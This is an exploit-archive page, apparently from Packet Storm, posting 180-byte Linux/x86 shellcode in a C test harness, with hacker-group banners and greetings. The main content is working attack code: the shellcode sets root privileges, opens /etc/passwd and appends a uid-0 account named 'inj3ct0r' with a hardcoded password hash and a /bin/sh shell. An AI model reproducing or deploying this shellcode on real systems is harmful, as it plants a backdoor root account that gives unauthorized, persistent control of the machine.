what you don't know can hurt you

Linux/x86 Add New User/Password Shellcode

Linux/x86 Add New User/Password Shellcode
Posted Jan 25, 2012
Authored by KedAns-Dz

180 bytes small Linux/x86 add new user/password shellcode.

tags | x86, shellcode
systems | linux
MD5 | cd7399535526f6e2b9460ccc859d6f7d

Linux/x86 Add New User/Password Shellcode

Change Mirror Download
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

/*
###
# Title : linux/x86 Add new User/Passwd - suid(0) - shellcode 180 bytes
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com | kedans@facebook.com
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com
# Facebook : http://facebook.com/KedAns
# platform : linux/x86
# Type : shellcode / local exploit
# Size : 180 bytes
# Inf0 : Add neW User w!th passwd as r00t suid(0) .
###

##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |
# | KinG Of PiraTeS * The g0bl!n * soucha * dr.R!dE .. |
# | ------------------------------------------------- < |
###

*/


// User = Inj3ct0r
// Pass = r00t

#include <stdio.h>

char newuser[] =
/* setreuid(0,0) */

"\x31\xc9" // xor %ecx,%ecx
"\x31\xdb" // xor %ebx,%ebx
"\xf7\xe3" // mul %ebx
"\xb0\xa4" // mov %al,$0xa4
"\xcd\x80" // int $0x80
"\x31\xc9" // xor %ecx,%ecx
"\x31\xdb" // xor %ebx,%ebx

/* e0f */

"\x6a\x46" // push $0x46
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x31\xdb" // xor %ebx,%ebx
"\x6a\x17" // push $0x17
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x31\xc9" // xor %ecx,%ecx
"\x31\xdb" // xor %ebx,%ebx
"\x6a\x46" // push $0x46
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x6a\x3d" // push $0x3d
"\x89\xe3" // mov %ebx,%esp
"\x6a\x27" // push $0x27
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x89\xd9" // mov %ecx,%ebx
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x66\x68\x2e\x2e" // push $0x2e2e
"\x89\xe3" // mov %ebx,%esp
"\x6a\x3d" // push $0x3d
"\x59" // pop %ecx
"\xb0\x0c" // mov %al,$0x0c
"\xcd\x80" // int $0x80
"\xe2\xfa" // loopd short
"\x6a\x3d" // push %0x3d
"\x89\xd9" // mov %ecx,%ebx
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x31\xc9" // xor %ecx,%ecx
"\x89\xcb" // mov %ebx,%ecx
"\x6a\x46" // push $0x46
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x6a\x05" // push $0x05
"\x58" // pop %eax
"\x31\xc9" // xor %ecx,%ecx
"\x51" // push %ecx
"\x68\x73\x73\x77\x64" // push $0x64777373
"\x68\x2f\x2f\x70\x61" // push $0x61702f2f
"\x68\x2f\x65\x74\x63" // push $0x6374652f
"\x89\xe3" // mov %ebx,%esp
"\x41" // inc %ecx
"\xb5\x04" // mov %ch,$0x04
"\xcd\x80" // int %80
"\x93" // xchg %eax,%ebx
"\xe8\x26\x00\x00\x00" // call .me

// Add User/Passwd + USR.Shell=/bin/sh

/* inj3ct0r:AzXA.7JfdpHtA:0:0::/:/bin/sh */

"\x69\x6e\x6a\x33\x63\x74"
"\x72\x3a\x41\x7a\x58\x41"
"\x2e\x37\x4a\x66\x64\x70"
"\x48\x74\x41\x3a\x30\x3a"
"\x30\x3a\x3a\x2f\x3a\x2f"
"\x62\x69\x6e\x2f\x73\x68"

/* e0f */

"\x0a\x59\x8b" // or %bl,%ecx
"\x51" // push %ecx
"\xfc" // cld
"\x6a\x04" // push $0x04
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x6a\x01" // push $0x01
"\x58" // pop %eax
"\xcd\x80"; // int $0x80

int main()
{
printf("%d\n", strlen(newuser));
(*(void (*)()) newuser)();
return 0;
}

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=====================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > || Rizky Ariestiyansyah * Islam Caddy
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS (www.1337day.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * Kalashinkov3 * SeeMe * ZoRLu * anT!-Tr0J4n
# Anjel Injection (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * Sec4ever
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X
# Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * www.packetstormsecurity.org * TreX
# www.metasploit.com * UE-Team & I-BackTrack * r00tw0rm.com * All Security and Exploits Webs ..
#=================================================================================================
Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    2 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    15 Files
  • 20
    Oct 20th
    20 Files
  • 21
    Oct 21st
    12 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close